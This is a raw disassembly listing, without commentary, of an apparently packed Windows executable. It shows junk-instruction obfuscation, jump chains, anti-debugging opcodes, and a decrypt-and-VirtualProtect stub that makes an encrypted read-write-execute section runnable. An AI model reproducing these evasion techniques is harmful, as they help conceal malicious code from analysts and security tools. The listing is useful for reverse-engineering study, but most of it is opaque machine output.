loc_42983D: ; CODE XREF: DMN0:loc_42981Fj
xchg ecx, ebp
xor edi, [ebp+0]
jmp short loc_42985E
; ---------------------------------------------------------------------------
dd 0B465B10Fh, 0EA6DAA29h, 0AEC58A0Ch, 4AA98E38h, 88B73F57h
dd 0D9E37BD5h
; ---------------------------------------------------------------------------
jle short loc_4297F2
loc_42985E: ; CODE XREF: DMN0:00429842j
jmp short loc_429874
; ---------------------------------------------------------------------------
dd 573763B6h, 0CF0BD250h, 0F9CB1837h, 0E9C39628h, 933E6A6Bh
; ---------------------------------------------------------------------------
loc_429874: ; CODE XREF: DMN0:loc_42985Ej
bswap ebx
jmp short loc_429879
; ---------------------------------------------------------------------------
db 65h
; ---------------------------------------------------------------------------
loc_429879: ; CODE XREF: DMN0:00429876j
jmp short $+2
xchg esp, edi
jmp short loc_429899
; ---------------------------------------------------------------------------
xor ds:0A51465F2h, ah
xchg eax, edx
nop
jg short loc_4298C8
wait
popa
push ecx
cmpsb
sbb eax, 987D091Ch
int 3 ; Trap to Debugger
pop ebp
mov ds:942E647Bh, al
loc_429899: ; CODE XREF: DMN0:0042987Dj
cmc
jmp short loc_42989D
; ---------------------------------------------------------------------------
db 78h
; ---------------------------------------------------------------------------
loc_42989D: ; CODE XREF: DMN0:0042989Aj
xchg esi, ecx
jmp short loc_4298BD
; ---------------------------------------------------------------------------
db 0F3h, 48h, 7Dh
dd 0EF253F0Eh, 0EB01D601h, 9D786E80h, 0E38D6410h, 0C530688Ch
dd 0B5A850CDh
db 14h
; ---------------------------------------------------------------------------
loc_4298BD: ; CODE XREF: DMN0:0042989Fj
xchg ebp, esi
jmp short loc_4298C4
; ---------------------------------------------------------------------------
db 22h, 0EEh, 3Ah
; ---------------------------------------------------------------------------
loc_4298C4: ; CODE XREF: DMN0:004298BFj
jmp short loc_4298D9
; ---------------------------------------------------------------------------
dec edx
push esp
loc_4298C8: ; CODE XREF: DMN0:00429887j
sub al, 9
jmp near ptr 92C825F9h
; ---------------------------------------------------------------------------
db 16h
dd 65F7B6F4h, 4AEA8A6h
db 0DDh
; ---------------------------------------------------------------------------
loc_4298D9: ; CODE XREF: DMN0:loc_4298C4j
jmp short loc_4298F9
; ---------------------------------------------------------------------------
inc esi
cmp eax, 5209D821h
retn 5848h
; ---------------------------------------------------------------------------
dd 84990962h, 0CABA92AFh, 0E78BF50h, 0AC8A529h, 6042936h
db 9
; ---------------------------------------------------------------------------
loc_4298F9: ; CODE XREF: DMN0:loc_4298D9j
xchg esp, [esi]
test ecx, 0E9A69C5Ch
stc
cld
std
jmp short loc_42991F
; ---------------------------------------------------------------------------
dw 0A4C5h
dd 0C86D6E8h, 158A98EAh, 4856BC43h, 0AD03C154h, 482C4318h
db 0FFh, 64h, 5Fh
; ---------------------------------------------------------------------------
loc_42991F: ; CODE XREF: DMN0:00429904j
sub esp, 902A5E66h
jmp short loc_42993C
; ---------------------------------------------------------------------------
db 44h
dd 0C655C6D1h, 0F81DDE71h, 63AFAA20h, 5E5B7623h, 0EE24EAE1h
; ---------------------------------------------------------------------------
loc_42993C: ; CODE XREF: DMN0:00429925j
jmp short loc_429958
; ---------------------------------------------------------------------------
dw 0EB10h
dd 4A7D3E68h, 4AFEB940h, 0EBB8A02Eh, 0B6177131h, 854E6AC6h
dd 0E3187ADh
; ---------------------------------------------------------------------------
loc_429958: ; CODE XREF: DMN0:loc_42993Cj
jmp short loc_429970
; ---------------------------------------------------------------------------
dw 8348h
db 0CCh
db 12h, 52h, 0BBh
dd 12A6B1Dh, 97A2181Fh, 704582BBh, 0E5429F9Bh
; ---------------------------------------------------------------------------
loc_429970: ; CODE XREF: DMN0:loc_429958j
xchg edx, eax
xchg edi, ebp
jmp short loc_429978
; ---------------------------------------------------------------------------
dw 1B95h
; ---------------------------------------------------------------------------
loc_429978: ; CODE XREF: DMN0:00429974j
sbb ecx, 65FF6E4h
jmp short loc_429999
; ---------------------------------------------------------------------------
dd 0AAA06AF3h, 0E974CD4Ah, 0BD6CA8A0h, 502D3994h, 0BCC2A985h
dd 8E80A57Ah
db 89h
; ---------------------------------------------------------------------------
loc_429999: ; CODE XREF: DMN0:0042997Ej
ror esp, 1
cmc
jmp short loc_4299BD
; ---------------------------------------------------------------------------
dw 0BB28h
dd 0B955B97Fh, 44DB5458h, 0E01FE717h, 3414F577h, 50273011h
dd 8915D7A2h, 0BCC6206Ah
db 29h
; ---------------------------------------------------------------------------
loc_4299BD: ; CODE XREF: DMN0:0042999Cj
xchg esi, eax
xchg esp, esp
jmp short loc_4299E0
; ---------------------------------------------------------------------------
mov eax, ds:14E70F39h
icebp
rcr esi, cl
retf
; ---------------------------------------------------------------------------
dd 643CF96h, 296A5E43h, 862FBFF6h, 4A9C0759h, 0C1F60A98h
; ---------------------------------------------------------------------------
loc_4299E0: ; CODE XREF: DMN0:004299C1j
neg ebp
jmp short loc_4299ED
; ---------------------------------------------------------------------------
dd 8B999AACh, 809794B5h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_4299ED: ; CODE XREF: DMN0:004299E2j
jmp short $+2
jmp short loc_4299F6
; ---------------------------------------------------------------------------
cwde
xchg ah, [ebp-51h]
icebp
loc_4299F6: ; CODE XREF: DMN0:004299EFj
jmp short loc_429A08
; ---------------------------------------------------------------------------
dd 2230B5BEh, 92B64AC2h, 9DBE4765h, 0BA71146h
; ---------------------------------------------------------------------------
loc_429A08: ; CODE XREF: DMN0:loc_4299F6j
jmp short loc_429A1F
; ---------------------------------------------------------------------------
dw 19D6h
dd 8ED25271h, 5612A2A2h, 3489FD56h, 0A8D525A3h
db 76h, 9Bh, 0DFh
; ---------------------------------------------------------------------------
loc_429A1F: ; CODE XREF: DMN0:loc_429A08j
xchg esp, [eax]
jmp short loc_429A3D
; ---------------------------------------------------------------------------
db 0E6h
; ---------------------------------------------------------------------------
retn 0F64Dh
; ---------------------------------------------------------------------------
db 3Bh
dd 478B9233h, 0B7F6725h, 0FE4C555Ch, 0A66D0B58h, 0F40D2ADFh
db 69h
; ---------------------------------------------------------------------------
loc_429A3D: ; CODE XREF: DMN0:00429A21j
jmp short loc_429A41
; ---------------------------------------------------------------------------
db 0F2h
db 19h
; ---------------------------------------------------------------------------
loc_429A41: ; CODE XREF: DMN0:loc_429A3Dj
cld
std
xchg ebp, esi
jmp short loc_429A5F
; ---------------------------------------------------------------------------
db 8Ah
dd 6FE3F4Eh, 80B25974h, 3EECA81Fh, 0CFC11BE2h, 17064DB1h
; ---------------------------------------------------------------------------
cdq
retf
; ---------------------------------------------------------------------------
db 25h
; ---------------------------------------------------------------------------
loc_429A5F: ; CODE XREF: DMN0:00429A45j
cld
jmp short loc_429A80
; ---------------------------------------------------------------------------
neg byte ptr [eax]
mov bl, 8
pop esi
xchg bl, [ebx+23h]
xchg eax, ecx
cmpsd
push esi
and [edi+5057899Fh], esi
mov dword ptr [ebx+0Eh], 0B154936Dh
or al, 93h
cmp al, 4
std
xchg eax, ebp
loc_429A80: ; CODE XREF: DMN0:00429A60j
sub ebx, 0A5D8492Eh
jmp short loc_429AA6
; ---------------------------------------------------------------------------
dd 0AD8A7811h, 0EBB02F66h, 0DA22885Ah, 0D69AF0F1h, 61FB703h
dd 39A6D819h, 8A6D29ABh
db 8Ch, 0Dh
; ---------------------------------------------------------------------------
loc_429AA6: ; CODE XREF: DMN0:00429A86j
mov ecx, edx
xor esi, 0A3817216h
jmp short loc_429ABE
; ---------------------------------------------------------------------------
dd 198130FEh, 47E243F7h, 21C9EC63h
; ---------------------------------------------------------------------------
cdq
pop eax
loc_429ABE: ; CODE XREF: DMN0:00429AAEj
cmc
xchg ecx, eax
jmp short loc_429ACA
; ---------------------------------------------------------------------------
db 5Dh
dd 0B5449A94h
db 63h, 0F6h
; ---------------------------------------------------------------------------
loc_429ACA: ; CODE XREF: DMN0:00429AC1j
clc
jmp short loc_429AD1
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
sbb ebx, [eax]
setalc
loc_429AD1: ; CODE XREF: DMN0:00429ACBj
jmp short loc_429AD8
; ---------------------------------------------------------------------------
aas
db 26h
sti
and al, 0B6h
loc_429AD8: ; CODE XREF: DMN0:loc_429AD1j
xchg ebp, esp
jmp short $+2
add eax, esp
jmp short loc_429AEA
; ---------------------------------------------------------------------------
push ebx
fild dword ptr [esi]
or cl, es:[ecx+2810C0Ch]
loc_429AEA: ; CODE XREF: DMN0:00429ADEj
jmp short loc_429B09
; ---------------------------------------------------------------------------
dd 0FFD042A8h, 3A9243A7h, 0FAE701CAh, 142F4FAEh, 0DCDE8BCEh
dd 6A857843h, 752C0D59h
db 1Ah
; ---------------------------------------------------------------------------
loc_429B09: ; CODE XREF: DMN0:loc_429AEAj
jmp short loc_429B1F
; ---------------------------------------------------------------------------
db 0E3h
dd 9025AFBEh, 0AC22EF71h, 0CC2116A3h, 1C9FE6D3h
db 9, 0AEh, 18h
; ---------------------------------------------------------------------------
loc_429B1F: ; CODE XREF: DMN0:loc_429B09j
jmp short loc_429B30
; ---------------------------------------------------------------------------
pushf
mov edx, 58BAF49Eh
xor al, 0B7h
or edi, [eax-426152B2h]
retn
; ---------------------------------------------------------------------------
loc_429B30: ; CODE XREF: DMN0:loc_429B1Fj
jmp short loc_429B49
; ---------------------------------------------------------------------------
dw 150h
dd 0A73AB811h, 4D2E7591h, 985EDFDFh, 0F110B925h, 0FCA8FA89h
db 0F7h
; ---------------------------------------------------------------------------
loc_429B49: ; CODE XREF: DMN0:loc_429B30j
mov [eax], ebp
jmp short loc_429B60
; ---------------------------------------------------------------------------
retn 0B71Ah
; ---------------------------------------------------------------------------
das
sbb dl, 3
adc al, [edx+eax*8-2Dh]
mov esi, 0B19BB05Ah
retn 31F1h
; ---------------------------------------------------------------------------
loc_429B60: ; CODE XREF: DMN0:00429B4Bj
jmp short $+2
jmp short loc_429B83
; ---------------------------------------------------------------------------
aRnqQrlnfLNHsps db 9,'ï',0Ah
db 'QLfÁL~N#hápè¼-´',0
db 0B1h
dd 73F7A458h
db 32h, 9Eh, 3
; ---------------------------------------------------------------------------
loc_429B83: ; CODE XREF: DMN0:00429B62j
cmc
jmp short loc_429BA0
; ---------------------------------------------------------------------------
dw 15E6h
dd 68CB63A0h, 0E83D26Ch, 0FF9FBC7Ah, 5CB38C16h, 0C1ECBECDh
dd 5521EDB6h
; ---------------------------------------------------------------------------
loc_429BA0: ; CODE XREF: DMN0:00429B84j
jmp short loc_429BA9
; ---------------------------------------------------------------------------
dw 0CD5Bh
dd 79A44096h
db 81h
; ---------------------------------------------------------------------------
loc_429BA9: ; CODE XREF: DMN0:loc_429BA0j
jmp short loc_429BB0
; ---------------------------------------------------------------------------
db 0F8h
dd 4A5F46EEh
; ---------------------------------------------------------------------------
loc_429BB0: ; CODE XREF: DMN0:loc_429BA9j
xchg edi, ebx
jmp short loc_429BC4
; ---------------------------------------------------------------------------
dd 0AF61FBBFh, 0D885E4CFh, 0ED38B526h, 68E478AEh
; ---------------------------------------------------------------------------
loc_429BC4: ; CODE XREF: DMN0:00429BB2j
jmp short loc_429BE1
; ---------------------------------------------------------------------------
dw 2B01h
dd 5DE7C15h, 0A59E7241h, 0F3CD22A6h, 0CA2B486Ch, 7087FE52h
dd 0E03AE9h
; ---------------------------------------------------------------------------
aaa
loc_429BE1: ; CODE XREF: DMN0:loc_429BC4j
jmp short loc_429BED
; ---------------------------------------------------------------------------
db 92h
dd 8E28F31Eh, 305B4A31h
; ---------------------------------------------------------------------------
xchg eax, ecx
loc_429BED: ; CODE XREF: DMN0:loc_429BE1j
stc
jmp short loc_429C0B
; ---------------------------------------------------------------------------
dd 738647F3h, 0F393A422h, 0AA14391Ch, 3E5D60E1h, 15FF386Fh
dd 0ECBC10BDh
db 7Fh, 0FAh, 5Eh
; ---------------------------------------------------------------------------
loc_429C0B: ; CODE XREF: DMN0:00429BEEj
xor ebp, 85E089B9h
jmp short loc_429C28
; ---------------------------------------------------------------------------
db 4Dh
dd 0ACC0AAF4h, 0BA6530B1h, 0AF5F48A3h, 32C58C98h, 4CA12A40h
; ---------------------------------------------------------------------------
loc_429C28: ; CODE XREF: DMN0:00429C11j
inc esp
jmp short $+2
jmp short loc_429C30
; ---------------------------------------------------------------------------
db 6Dh, 95h, 0D5h
; ---------------------------------------------------------------------------
loc_429C30: ; CODE XREF: DMN0:00429C2Bj
jmp short loc_429C36
; ---------------------------------------------------------------------------
dw 2588h
db 1Ah, 6Fh
; ---------------------------------------------------------------------------
loc_429C36: ; CODE XREF: DMN0:loc_429C30j
xchg ebx, ebp
xchg ebx, edx
jmp short loc_429C4C
; ---------------------------------------------------------------------------
dd 8BC15C3Ch, 2615BA1h, 0EEEDFC2Fh, 0B03ECA04h
; ---------------------------------------------------------------------------
loc_429C4C: ; CODE XREF: DMN0:00429C3Aj
jmp short loc_429C6B
; ---------------------------------------------------------------------------
dw 622h
dd 0C2ACEDC9h, 0E31A5692h, 9EE87F80h, 0CF1B9896h, 74CFA9E3h
dd 0AB449395h
db 0B9h, 0F1h, 0D0h
; ---------------------------------------------------------------------------
loc_429C6B: ; CODE XREF: DMN0:loc_429C4Cj
jmp short loc_429C81
; ---------------------------------------------------------------------------
db 0B4h, 0A7h, 74h
dd 8AFDDD76h, 2534EB02h, 0DA202F02h, 0D157F94Ah
db 0A9h
; ---------------------------------------------------------------------------
loc_429C81: ; CODE XREF: DMN0:loc_429C6Bj
jmp short loc_429C96
; ---------------------------------------------------------------------------
db 99h
dd 0CD98011Dh, 519218C4h, 644FCA06h, 9CA995BEh
db 0C7h, 0B2h
; ---------------------------------------------------------------------------
loc_429C96: ; CODE XREF: DMN0:loc_429C81j
jmp short loc_429CA3
; ---------------------------------------------------------------------------
dd 50772008h, 0DE445483h
db 9Ah, 0, 22h
; ---------------------------------------------------------------------------
loc_429CA3: ; CODE XREF: DMN0:loc_429C96j
jmp short loc_429CA9
; ---------------------------------------------------------------------------
db 57h, 0DFh, 8Eh
db 79h
; ---------------------------------------------------------------------------
loc_429CA9: ; CODE XREF: DMN0:loc_429CA3j
jmp short loc_429CC6
; ---------------------------------------------------------------------------
db 0EFh
dd 62717B12h, 7FE73025h, 46B766CDh, 0CC0FBF2Ch, 0E2D7EB9Fh
dd 6B95D7Fh
db 0E1h, 96h
; ---------------------------------------------------------------------------
loc_429CC6: ; CODE XREF: DMN0:loc_429CA9j
jmp short loc_429CCA
; ---------------------------------------------------------------------------
db 5Eh, 0C1h
; ---------------------------------------------------------------------------
loc_429CCA: ; CODE XREF: DMN0:loc_429CC6j
xchg esp, ebx
jmp short loc_429CDF
; ---------------------------------------------------------------------------
dw 8554h
dd 855B313Dh, 0B8A08256h, 30E336E9h
db 0, 0B2h, 0E1h
; ---------------------------------------------------------------------------
loc_429CDF: ; CODE XREF: DMN0:00429CCCj
add ebx, 2
sub edi, 60A6F7ADh
cld
shr edi, 8Ah
jmp short loc_429CFF
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 89h
dd 0EEB5487Bh, 0BBDD2F11h, 61B7FC01h
db 9Fh, 22h, 58h
; ---------------------------------------------------------------------------
loc_429CFF: ; CODE XREF: DMN0:00429CECj
jmp short loc_429D04
; ---------------------------------------------------------------------------
db 0EFh, 95h, 0C2h
; ---------------------------------------------------------------------------
loc_429D04: ; CODE XREF: DMN0:loc_429CFFj
jmp short loc_429D0E
; ---------------------------------------------------------------------------
dw 1ED9h
dd 31CDF578h
; ---------------------------------------------------------------------------
mov cl, 77h
loc_429D0E: ; CODE XREF: DMN0:loc_429D04j
jmp short loc_429D27
; ---------------------------------------------------------------------------
dd 8D556BECh, 12F6CE21h, 1F767528h, 4358C03Ch, 8A5E9BECh
db 0A3h, 0D6h, 0EAh
; ---------------------------------------------------------------------------
loc_429D27: ; CODE XREF: DMN0:loc_429D0Ej
add ebx, 1
jmp short loc_429D2F
; ---------------------------------------------------------------------------
pop eax
jno short loc_429D36
loc_429D2F: ; CODE XREF: DMN0:00429D2Aj
xchg esp, ebx
xchg ebx, edi
xchg esi, ecx
cld
loc_429D36: ; CODE XREF: DMN0:00429D2Dj
stc
jmp short loc_429D3D
; ---------------------------------------------------------------------------
db 71h, 0EAh, 4Ah
db 0C2h
; ---------------------------------------------------------------------------
loc_429D3D: ; CODE XREF: DMN0:00429D37j
jmp short loc_429D5C
; ---------------------------------------------------------------------------
db 81h
dd 9AA3E47Bh, 535E10F7h, 8103BD56h, 0FB7C0D63h, 9B06D0D1h
dd 954EEB6Dh, 8AFD913Ch
; ---------------------------------------------------------------------------
loc_429D5C: ; CODE XREF: DMN0:loc_429D3Dj
jmp short loc_429D5F
; ---------------------------------------------------------------------------
db 0BCh
; ---------------------------------------------------------------------------
loc_429D5F: ; CODE XREF: DMN0:loc_429D5Cj
jmp short loc_429D7C
; ---------------------------------------------------------------------------
db 44h, 0CCh, 6
dd 9A57h, 0BCE62CE7h, 73FFE755h, 91BAA70Eh, 0F889DD26h
dd 0EAD5BEB3h
; ---------------------------------------------------------------------------
loc_429D7C: ; CODE XREF: DMN0:loc_429D5Fj
xchg edi, ecx
jmp short loc_429D9A
; ---------------------------------------------------------------------------
dd 0BF232862h, 61FE6895h, 0B149DE5h, 4B20217Ah, 0EA3F9427h
dd 0B4E6D1A4h
db 35h, 11h
; ---------------------------------------------------------------------------
loc_429D9A: ; CODE XREF: DMN0:00429D7Ej
jmp short loc_429DB4
; ---------------------------------------------------------------------------
dd 867BAD0Eh, 0D9A42C92h, 0CA7B3331h, 17E63AA0h, 7F2CB0F7h
dd 6D3DB020h
; ---------------------------------------------------------------------------
loc_429DB4: ; CODE XREF: DMN0:loc_429D9Aj
jmp short loc_429DBD
; ---------------------------------------------------------------------------
dw 6825h
dd 0CFA3C36Bh
db 0B4h
; ---------------------------------------------------------------------------
loc_429DBD: ; CODE XREF: DMN0:loc_429DB4j
jmp short loc_429DD1
; ---------------------------------------------------------------------------
db 0D8h
dd 5C575FEDh, 50D9FF7Ch, 190359E3h, 28BA83ABh
; ---------------------------------------------------------------------------
inc ebx
loc_429DD1: ; CODE XREF: DMN0:loc_429DBDj
sub ebp, 1
jz short loc_429E23
dec edx
xchg ebp, esp
stc
jmp short loc_429DF2
; ---------------------------------------------------------------------------
dd 0C094AEC1h, 0BE9CD4ECh, 49D7C000h, 5842F053h, 93AB4FCFh
; ---------------------------------------------------------------------------
push ebx
push edi
loc_429DF2: ; CODE XREF: DMN0:00429DDAj
jmp short loc_429DF9
; ---------------------------------------------------------------------------
dd 3C8034E8h
db 22h
; ---------------------------------------------------------------------------
loc_429DF9: ; CODE XREF: DMN0:loc_429DF2j
xchg edx, esp
clc
xor edi, 9945EE68h
jmp short loc_429E19
; ---------------------------------------------------------------------------
dd 239FBEA3h, 46BBF81Bh, 0E7CBD8B9h, 0D40CFC73h, 12E93F11h
db 6Eh
; ---------------------------------------------------------------------------
loc_429E19: ; CODE XREF: DMN0:00429E02j
xchg eax, ecx
clc
xchg esp, esi
jmp loc_4295D1
; ---------------------------------------------------------------------------
loc_429E23: ; CODE XREF: DMN0:00429DD4j
xchg ebp, ecx
xchg esp, esi
jmp short loc_429E32
; ---------------------------------------------------------------------------
db 0D8h, 0FBh, 0CFh
dd 0E60EA1B1h
db 0A1h, 5Ch
; ---------------------------------------------------------------------------
loc_429E32: ; CODE XREF: DMN0:00429E27j
cld
jmp short loc_429E4B
; ---------------------------------------------------------------------------
jnp short loc_429E74
adc eax, 0AFA7F218h
pop ecx
push cs
paddusb mm1, mm6
mov ds:0EBE94B41h, al
mov edx, 2B270FB2h
loc_429E4B: ; CODE XREF: DMN0:00429E33j
jmp short loc_429E68
; ---------------------------------------------------------------------------
db 0B3h, 58h, 3Fh
dd 0F574A20Fh, 926ECC21h, 0AEB74D39h, 0ACFD7C03h, 7E4FF7A2h
dd 48DBE18Ch
; ---------------------------------------------------------------------------
loc_429E68: ; CODE XREF: DMN0:loc_429E4Bj
jmp short loc_429E83
; ---------------------------------------------------------------------------
dw 7CBDh
dd 7C2FE221h, 0B18D2625h
; ---------------------------------------------------------------------------
loc_429E74: ; CODE XREF: DMN0:00429E35j
sub [edi-72h], ch
clc
or edx, [ebx]
das
cmp al, 6Dh ; CODE XREF: DMN0:loc_429E8Dj
jz short loc_429E99
sbb ecx, eax
aas
inc ecx
loc_429E83: ; CODE XREF: DMN0:loc_429E68j
cmc
jmp short loc_429E90
; ---------------------------------------------------------------------------
dw 0A688h
dd 0A8252E3Bh
db 0D2h
; ---------------------------------------------------------------------------
loc_429E8D: ; CODE XREF: DMN0:00429EA7j
jnz short near ptr loc_429E7B+1
xchg eax, edx
loc_429E90: ; CODE XREF: DMN0:00429E84j
jmp short loc_429EAB
; ---------------------------------------------------------------------------
dw 0F0ADh
; ---------------------------------------------------------------------------
and eax, 23D5A4AFh
loc_429E99: ; CODE XREF: DMN0:00429E7Dj
or [ebx-1], ebx
push eax
sub al, 0E5h
rep mov dword ptr [ebx+11h], 32A5AE46h
jecxz short loc_429E8D
add ebp, edi
loc_429EAB: ; CODE XREF: DMN0:loc_429E90j
jmp short loc_429EBC
; ---------------------------------------------------------------------------
db 0CDh, 0C2h, 0B5h
dd 9ACA49D1h, 87736F27h, 7558B6D7h
; ---------------------------------------------------------------------------
loc_429EBC: ; CODE XREF: DMN0:loc_429EABj
jmp short $+2
jmp short loc_429ED7
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 6Ch, 0F5h, 10h
dd 5D807297h, 2A33A381h, 9D557BFh, 4B741090h
db 0A0h, 0F9h, 98h
; ---------------------------------------------------------------------------
loc_429ED7: ; CODE XREF: DMN0:00429EBEj
jmp short loc_429EED
; ---------------------------------------------------------------------------
mov eax, 4294785Ch
cmp ah, dl
retn 0AEF2h
; ---------------------------------------------------------------------------
db 83h
dd 0B29C237Bh, 7328054Fh
db 84h
; ---------------------------------------------------------------------------
loc_429EED: ; CODE XREF: DMN0:loc_429ED7j
stc
jmp short loc_429EFD
; ---------------------------------------------------------------------------
dd 0C711EDC5h, 0E3CDED92h, 95FF016Eh
db 2
; ---------------------------------------------------------------------------
loc_429EFD: ; CODE XREF: DMN0:00429EEEj
jmp short loc_429F0F
; ---------------------------------------------------------------------------
db 80h
db 90h
db 9Eh, 0D4h, 0B9h
dd 0F05B838Ch, 0FCCF7D53h
db 46h, 6Ch, 3Bh
; ---------------------------------------------------------------------------
loc_429F0F: ; CODE XREF: DMN0:loc_429EFDj
pop edi
jmp short loc_429F1D
; ---------------------------------------------------------------------------
dw 1320h
dd 0E56FC12Fh, 0BF4FC0Ch
db 90h
; ---------------------------------------------------------------------------
loc_429F1D: ; CODE XREF: DMN0:00429F10j
cmc
jmp short loc_429F2D
; ---------------------------------------------------------------------------
dd 9036961Fh, 63487334h, 6D9BDF77h
db 0A9h
; ---------------------------------------------------------------------------
loc_429F2D: ; CODE XREF: DMN0:00429F1Ej
jmp short loc_429F4A
; ---------------------------------------------------------------------------
db 0E4h
dd 0DCA57299h, 0E300B846h, 0ABE734Fh, 4EF378ECh, 0F2D0CC46h
dd 306C92F1h
db 73h, 7Fh
; ---------------------------------------------------------------------------
loc_429F4A: ; CODE XREF: DMN0:loc_429F2Dj
jmp short loc_429F6A
; ---------------------------------------------------------------------------
dd 0B1A543ADh, 5D2E1A73h, 0B2817833h, 0EFD439D8h, 0FBA4FA98h
dd 89966B27h, 0C4113030h
db 18h, 4Dh
; ---------------------------------------------------------------------------
loc_429F6A: ; CODE XREF: DMN0:loc_429F4Aj
jmp short loc_429F82
; ---------------------------------------------------------------------------
dd 0DA5EBD67h, 3B194784h, 388FF712h, 0DD4AC1CCh, 0EC5F256h
db 51h, 7Fh
; ---------------------------------------------------------------------------
loc_429F82: ; CODE XREF: DMN0:loc_429F6Aj
shl ebx, 19h
jmp loc_428F6B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429F8A proc near ; CODE XREF: DMN0:00429FF4p
var_24 = dword ptr -24h
var_18 = byte ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor edx, 391E7942h
xor edx, 5FF57DEDh
mov eax, 10000000h
add edx, eax
add esp, 10h
mov ebp, [esp-10h+arg_4]
push edx
pusha
push 0
lea edx, [esp+18h+var_18]
push edx
push 40h
push 15B32h
add [esp+24h+var_24], 1000h
push eax
add eax, 1000h
add eax, 46023h
call dword ptr [eax]
add esp, 4
popa
retn
sub_429F8A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov ecx, 8000h
mov edx, 4C271B38h
mov eax, 383D2E0Bh
loc_429FE4: ; CODE XREF: DMN0:00429FF1j
add eax, 19776617h
xor edx, eax
add dx, ax
rol edx, 7
loop loc_429FE4
push eax
call sub_429F8A
leave
retn
; ---------------------------------------------------------------------------
align 4
dd 17h dup(0)
dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
dd 506C6175h, 65746F72h, 7463h, 0E000470h, 470h, 6B000000h
dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
dd 0FFFFFFFFh, 4702Bh, 4701Fh, 5 dup(0)
dd 46000h, 10h, 3B45h, 5BCFh dup(0)
DMN0 ends
; Section 2. (virtual address 00041000)
; Virtual size : 0002C78F ( 182159.)
; Section size in file : 0002C78F ( 182159.)
; Offset to raw data for section: 00041000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
DMN1 segment para public 'CODE' use32
assume cs:DMN1
;org 441000h
assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing
dd 93CBF6DDh, 276F1CD5h, 0BB2385A5h, 0FD3697h, 88C18394h
dd 0EF4DDDB0h, 0C8BE8910h, 47F66B8Eh, 30A43276h, 4475C33h
dd 4944756Fh, 97F038Dh, 9E6C0F5Ah, 0FD130DB0h, 35A1E371h
dd 4E595D05h, 62806DFEh, 0E7C23493h, 91DA6B2Ah, 3EEE541Bh
dd 0BDA3806h, 42DC686Dh, 0F27AF8ADh, 7B48A652h, 2523584Fh
dd 2FB077A2h, 83DF3F91h, 9F3A9268h, 27DBC16Fh, 0FE174DF5h
dd 0F7DE82FBh, 0EF592A27h, 7A6CAA06h, 1AC9FA63h, 0B8AA6F9Eh
dd 27DB2112h, 25611AA6h, 45FDC455h, 0B64ECBC8h, 2B06C168h
dd 2163B632h, 6413F73Bh, 8EA2833Ah, 0BAD62756h, 0DF098326h
dd 5285EF2Eh, 0C3B54490h, 19AD2044h, 70D2BFF6h, 0BB99F543h
dd 2A617A2Fh, 88E1D128h, 0A4C39014h, 0CD7BE57Dh, 13B06ED6h
dd 2BCB1844h, 3ED684EEh, 4E074D6Ah, 554CEDF0h, 0E434A38Ch
dd 0D9A3EBA7h, 5880CA28h, 0AABF1721h, 36CF6336h, 0ECC3FF30h
dd 0BE420942h, 0FAB2D8A1h, 60FE1E52h, 2431674Ch, 42C94B8Eh
dd 94256F7Dh, 0D1D46FF0h, 0FEB76E5Eh, 72BE9695h, 5623F0DEh
dd 1CA9F6Ch, 0A47CD68Ch, 632BE2E9h, 9E257E23h, 69B8807Eh
dd 17B0AF62h, 8DF52E0h, 81F082F3h, 8CB17614h, 93FE36B4h
dd 6915693Ch, 0C6B76A33h, 71226229h, 0F2A092B6h, 8823495Dh
dd 0CE2AB694h, 426FCEBDh, 9104C3D2h, 1A619FDAh, 4FDC9008h
dd 974B780Dh, 740BB5A5h, 0D658937h, 39BD298Ch, 0E2C5FAA2h
dd 0CE569EC6h, 0AB60E90Bh, 73BC6A0Ch, 0CF5F014Fh, 0E6FBA0FCh
dd 1BD02310h, 52D3147Fh, 0D313271Fh, 5C09019Ah, 25B3FAEBh
dd 3BB3952Eh, 0B789807Bh, 0F920A25Eh, 0C95AC9AEh, 0C965E617h
dd 8602993Bh, 6224A07Ch, 627C1875h, 0C7CB0378h, 0CCCB6EFh
dd 15F37DBh, 93B9A1E2h, 7481B687h, 5524BBEDh, 463DEE1Ah
dd 9E42205Ch, 9C542A3Dh, 6F7F3472h, 210D5D76h, 535B67EEh
dd 65CFD8DBh, 0A01FF642h, 0BC3D16D7h, 0A155E6ABh, 0FD1BFE44h
dd 6DDDBC04h, 4BB76F72h, 0CE2DC567h, 0A7CFB20Ah, 57FF3C10h
dd 3A7F3FA8h, 80EB8AE0h, 23EBFA5Fh, 6180E328h, 0F1A09109h
dd 0BE6D6CE0h, 0FC900467h, 730B0C07h, 3D1AA5E0h, 4EDECF9Ah
dd 0A2464E5h, 0A970DEE0h, 93352C01h, 55C38709h, 0EC6560F4h
dd 0DBDB9CA5h, 0B03CD4A0h, 5114FA1Dh, 0DED08E5Ah, 9BF81319h
dd 0BB774861h, 0B791E7FEh, 396BE567h, 1942F060h, 261201EDh
dd 88FE73A1h, 16DD1514h, 0F4525Ch, 91AB197h, 0D4BE539Dh
dd 560BB41Eh, 2304C0E7h, 4EB8C20Dh, 12C5DC2Fh, 17449FDh
dd 0AB5D35DAh, 11EB6F24h, 0E0DEB739h, 0E7C534AFh, 681A9090h
dd 625B648Ah, 73E41361h, 0B54D610Fh, 0C8B26E69h, 14B02F5h
dd 0B24CED47h, 0C3E247FEh, 5F443FF3h, 940164ABh, 2261BE5Bh
dd 0BAD4C70Bh, 93240025h, 885C49ADh, 0E1CB12D7h, 9FFFDDD0h
dd 953BADE2h, 915E9938h, 271F8393h, 0CAC4232Bh, 0E9DA4346h
dd 737D48F9h, 321F2E6Fh, 0C1553493h, 0FA4EBDDEh, 0FD0BD4AAh
dd 0BDC37087h, 8AC7CDBCh, 5B85D809h, 4016ADF3h, 3063F69Ch
